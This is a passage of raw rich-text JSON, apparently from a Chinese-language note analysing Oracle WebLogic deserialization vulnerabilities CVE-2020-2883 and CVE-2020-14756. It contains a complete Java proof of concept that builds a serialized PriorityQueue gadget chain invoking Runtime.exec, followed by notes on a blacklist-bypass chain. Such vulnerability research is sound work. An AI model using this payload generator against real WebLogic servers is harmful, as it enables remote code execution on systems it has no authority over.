java.io.ObjectOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S8co-1675908509773&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EtO3-1675908509772&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Field;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SWm7-1675908509775&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UMOn-1675908509774&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Base64;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xvAs-1675908509777&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ag0Y-1675908509776&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.PriorityQueue;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i8sr-1675908509779&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3dZu-1675908509778&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L3wA-1675908509781&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;voD1-1675908509780&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2020_2883_ExtractorComparator {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;quio-1675908509783&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8BeH-1675908509782&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zb9W-1675908509785&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ElEz-1675908509784&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // 创建第一个Extractor Runtime.getMethod(\&#34;getRuntime\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U8Qe-1675908509787&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uCZk-1675908509786&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor(\&#34;getMethod\&#34;, new Object[]{\&#34;getRuntime\&#34;, new Class[0]});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IN4M-1675908509789&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1wSM-1675908509788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // 第二个Extractor getRuntime.invoke()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lOHT-1675908509791&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Y7D-1675908509790&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor(\&#34;invoke\&#34;, new Object[]{null, new Object[0]});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BkkD-1675908509793&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uEmH-1675908509792&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // 第三个Extractor invoke(exec, \&#34;id\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yFay-1675908509795&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gNqx-1675908509794&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor(\&#34;exec\&#34;, new Object[]{\&#34;touch /tmp/success111.txt\&#34;});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;muES-1675908509797&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V4DZ-1675908509796&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor(\&#34;exec\&#34;, new Object[]{new String[]{\&#34;calc\&#34;}});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d3cN-1675908509799&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qTUd-1675908509798&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Db8B-1675908509801&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1sRi-1675908509800&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GPFf-1675908509803&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sr4F-1675908509802&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ExtractorComparator extractorComparator = new ExtractorComparator( chainedExtractor);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bdLx-1675908509805&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XxcT-1675908509804&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;STjg-1675908509807&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JraG-1675908509806&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        PriorityQueue priorityQueue = new PriorityQueue();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rdMB-1675908509809&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XmYU-1675908509808&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        priorityQueue.add(\&#34;1\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;va2y-1675908509811&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LBxX-1675908509810&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        priorityQueue.add(\&#34;2\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZqD9-1675908509813&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9d8z-1675908509812&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;plYm-1675908509815&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GRWE-1675908509814&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Field comparator = priorityQueue.getClass().getDeclaredField(\&#34;comparator\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8E9w-1675908509817&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wDTY-1675908509816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        comparator.setAccessible(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S1qG-1675908509819&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9mE7-1675908509818&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        comparator.set(priorityQueue, extractorComparator);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0U5m-1675908509822&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C3YS-1675908509821&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OqYp-1675908509824&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hfJs-1675908509823&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object[] queueArray = (Object[]) Reflections.getFieldValue(priorityQueue, \&#34;queue\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GlVs-1675908509826&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZUw3-1675908509825&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        queueArray[0] = Runtime.class;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wmaA-1675908509828&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5Kbs-1675908509827&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        queueArray[1] = \&#34;2\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aKdB-1675908509830&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4osH-1675908509829&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iHBI-1675908509832&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Ycv-1675908509831&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream fout = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i1qu-1675908509834&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PPIz-1675908509833&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bIr3-1675908509836&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Enm-1675908509835&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.writeObject(priorityQueue);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cJXY-1675908509838&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6oWK-1675908509837&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sM1R-1675908509840&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3vQ1-1675908509839&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3K8n-1675908509842&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fsQl-1675908509841&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5kax-1675908509844&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2yvS-1675908509843&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pkAZ-1675910281772&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5716/WEBRESOURCE5df175532be45c85a840c0b5826f4817&#34;,&#34;width&#34;:750,&#34;height&#34;:83},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5716/WEBRESOURCE5df175532be45c85a840c0b5826f4817&#34;,&#34;initialSize&#34;:{&#34;width&#34;:750,&#34;height&#34;:196},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;amSW-1675910798375&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g1tK-1675910798376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最终触发目标函数，过程差不多就不赘述了：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;J89n-1675910783806&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5718/WEBRESOURCEd2ade0c0150355b9795aa9679964a9c2&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5718/WEBRESOURCEd2ade0c0150355b9795aa9679964a9c2&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;beL1-1675910794675&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5720/WEBRESOURCE0cb746076c22ca0a0100cedf880f0cc2&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5720/WEBRESOURCE0cb746076c22ca0a0100cedf880f0cc2&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4zZr-1675911261183&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5723/WEBRESOURCEf7d682434d62499cc1232e901495e7a7&#34;,&#34;width&#34;:1708,&#34;height&#34;:1374},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5723/WEBRESOURCEf7d682434d62499cc1232e901495e7a7&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1708,&#34;height&#34;:1374},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6tsv-1675761217044&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3mdE-1675761217042&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oPVk-1675924834741&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B4n9-1675924834740&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-14756&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vBbA-1675924835023&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SW1j-1675924835024&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G94U-1675924835028&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;IBLE-1675924835002&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LSYP-1675924835029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Weblogic Server&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#24292e&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34; 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9htu-1675924835031&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;IBLE-1675924835002&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;14Dh-1675924835032&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Weblogic Server&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#24292e&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34; 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SAXm-1675924835033&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;IBLE-1675924835002&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EPe3-1675924835034&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Weblogic Server&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#24292e&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34; 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aTWl-1675924895079&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;IBLE-1675924835002&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BLkX-1675924895077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Weblogic Server&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#24292e&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34; &#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34;14.1.1.0.0&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#24292e&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ttF3-1675924849756&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mnZs-1675924849755&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样是对反序列化黑名单的绕过，这里使用的是com.tangosol.coherence.servlet.AttributeHolder，调用其readExternal方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C5DQ-1675925432174&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5744/WEBRESOURCE106ab45aea3dd49701cb2c7fd510da4c&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5744/WEBRESOURCE106ab45aea3dd49701cb2c7fd510da4c&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tQST-1675911395609&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wvlb-1675911395608&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而com.tangosol.util.aggregator.TopNAggregator$PartialResult的readExternal方法将会触发其父类的SortedBag$WrapperComparator.compare方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KPxH-1675926339181&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5753/WEBRESOURCEd99c1e30f653f2e7fef20afec62175c6&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5753/WEBRESOURCEd99c1e30f653f2e7fef20afec62175c6&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1b5H-1675926427721&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5757/WEBRESOURCE44a33a2c330195f5f1cecfee9cce2772&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5757/WEBRESOURCE44a33a2c330195f5f1cecfee9cce2772&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NKA3-1675926096449&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1LZr-1675926096447&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而之前我们提到过，所有继承自AbstractExtractor的Extractor都会有一个compare方法可触发其extract方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Ija-1675927246248&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5772/WEBRESOURCE08196132d199c9f505677f78dd2c84c6&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5772/WEBRESOURCE08196132d199c9f505677f78dd2c84c6&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hUjw-1675927262798&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;